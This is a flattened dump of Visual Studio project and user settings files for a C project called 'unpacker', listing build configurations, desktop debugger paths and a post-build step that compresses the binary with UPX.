/unpacker/unpacker.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | true 5 | 6 | 7 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58 8 | WindowsLocalDebugger 9 | 10 | 11 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58 12 | WindowsLocalDebugger 13 | 14 | 15 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58 16 | WindowsLocalDebugger 17 | 18 | 19 | C:\Users\jules\Desktop\pack_2023-08-31_23-36-58 20 | WindowsLocalDebugger 21 | 22 | -------------------------------------------------------------------------------- /unpacker/unpacker.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 17.0 23 | Win32Proj 24 | {e961312c-2568-49c1-8fc2-21d5ccf46256} 25 | rADR 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | false 76 | 77 | 78 | true 79 | false 80 | 81 | 82 | false 83 | 84 | 85 | 86 | Level3 87 | true 88 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 89 | true 90 | Size 91 | 92 | 93 | Windows 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | false 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | MinSpace 106 | AnySuitable 107 | Speed 108 | false 109 | CompileAsC 110 | None 111 | None 112 | 113 | 114 | Windows 115 | true 116 | true 117 | false 118 | NoErrorReport 119 | 120 | 121 | upx --best $(TargetPath) 122 | 123 | 124 | 125 | 126 | Level3 127 | true 128 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 129 | true 130 | Size 131 | 132 | 133 | Windows 134 | true 135 | 136 | 137 | 138 | 139 | Level3 140 | true 141 | true 142 | false 143 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 144 | true 145 | MinSpace 146 | AnySuitable 147 | Speed 148 | false 149 | CompileAsC 150 | None 151 | None 152 | 153 | 154 | Windows 155 | true 156 | true 157 | false 158 | NoErrorReport 159 | 160 | 161 | upx --best $(TargetPath) 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | -------------------------------------------------------------------------------- /unpacker/unpacker.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | C:\Users\jules\Desktop\pack_2023-09-04_21-12-38 5 | WindowsLocalDebugger 6 | 7 | 8 | C:\Users\jules\Desktop\pack_2023-09-04_21-12-38 9 | WindowsLocalDebugger 10 | 11 | --------------------------------------------------------------------------------